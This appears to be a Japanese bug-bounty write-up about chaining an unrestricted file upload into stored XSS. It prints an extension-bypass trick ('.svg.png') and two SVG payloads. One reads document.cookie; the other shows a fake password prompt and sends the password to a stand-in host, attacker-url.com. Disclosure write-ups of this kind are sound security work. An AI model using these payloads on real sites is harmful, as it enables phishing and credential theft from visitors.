Hello there, ('ω')ノ
Stored XSS Vulnerabilityへのファイルアップロード機能を悪用して。
Webサイトのビジターの資格情報を盗んだ後、$1000の報奨金を受け取った方法を。
脆弱性：
無制限のファイルアップロード
保存されたXSS
記事：
今日は、保存されたXSSでファイルがアップロードされるURLを。
与えられた被害者の資格情報の盗難につながて。
昨今、バグハンターは、XSS、SQLIなどの技術的な脆弱性よりも。
ビジネスロジックの脆弱性を見つけることに重点を置いていると思っていて。
これは、Webアプリケーションのセキュリティが向上しているためで。
ただ、ファイルのアップロードなどの技術的脆弱性を見つけることもまだできて。
１．提供された資格情報を使用してWebアプリケーションにログインして。
２．手動で列挙して。
３．アプリケーションには非常に多くのWebフォームがあって。
４．このフォームにはさまざまなテキストフィールドがあって。
フォームを手動でファジングして。
sqli、xss、sstiなどの脆弱性を見つけようとしたもののうまくいかず。
ロゴ、背景画像、広告画像が私の注意を引いたので。
悪意のある細工されたファイルをアップロードして。
何が起こるかを確認することに。
５．このファイルをアップロードすると、エラーが発生したので。
画像ファイルの形式はgif、png、jpgまたはjpegである必要があるようで。
６．ファイル名を「fileupload.svg」から「Fileupload.svg.png」に変更すると。
正常にアップロードされて。
７．[Next]をクリックすると。
これらのファイルにアクセスできるエンドポイントにリダイレクトされるようで。
８．[View Image]をクリックするとペイロードが実行されたので。
下記のアップロードしたSvgペイロードファイルを。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type=”text/javascript”>
alert(document.cookie);
</script>
</svg>
下記のように変更して、クレデンシャルを盗むことに。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script>
var passwd = prompt("Enter your password to continue");
var xhr = new XMLHttpRequest();
xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
xhr.send();
</script>
</svg>
９．この変更したペイロードファイルを３か所に再度アップロードして。
１０．アップロード後に下記にアクセスして。
１１．緑色のsvg画像を表示すると、パスワード入力のペイロードが実行されて。
下記のようにパスワードが取得できて。
Best regards, (^^ゞ
